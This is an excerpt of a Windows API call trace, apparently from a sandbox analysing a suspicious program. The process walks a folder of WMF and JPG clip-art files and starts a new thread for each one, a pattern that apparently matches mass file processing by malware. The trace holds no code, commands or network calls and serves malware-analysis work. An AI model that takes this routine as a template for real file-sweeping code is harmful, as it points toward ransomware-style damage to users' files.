	[0249.173] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1
	[0249.173] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e7c
	[0249.175] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.176] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1
	[0249.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0249.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e80
	[0249.179] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.180] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1
	[0249.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e84
	[0250.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.127] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1
	[0250.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e88
	[0250.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.131] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1
	[0250.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8c
	[0250.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.134] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1
	[0250.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e90
	[0250.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.137] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1
	[0250.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e94
	[0250.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1
	[0250.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e98
	[0250.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1
	[0250.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e9c
	[0250.146] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.146] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1
	[0250.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea0
	[0250.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.149] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1
	[0250.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea4
	[0250.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.151] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1
	[0250.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea8
	[0250.153] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.154] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1
	[0250.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eac
	[0250.156] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.156] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1
	[0250.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb0
	[0250.431] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.452] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1
	[0250.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb4
	[0250.458] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.459] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1
	[0250.459] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb8
	[0250.464] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.465] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1
	[0250.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ebc
	[0250.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.467] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1
	[0250.467] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec0
	[0250.470] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.470] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1
	[0250.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec4
	[0250.472] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.473] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1
	[0250.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec8
	[0250.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.477] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1
	[0250.477] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ecc
	[0250.480] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.480] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1
	[0250.480] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed0
	[0250.483] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.483] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1
	[0250.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed4
	[0250.486] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.487] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1
	[0250.487] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed8
	[0250.490] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.490] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1
	[0250.490] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1edc
	[0250.867] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.914] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1
	[0250.914] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee0
	[0250.921] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.921] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1
	[0250.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee4
	[0250.927] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
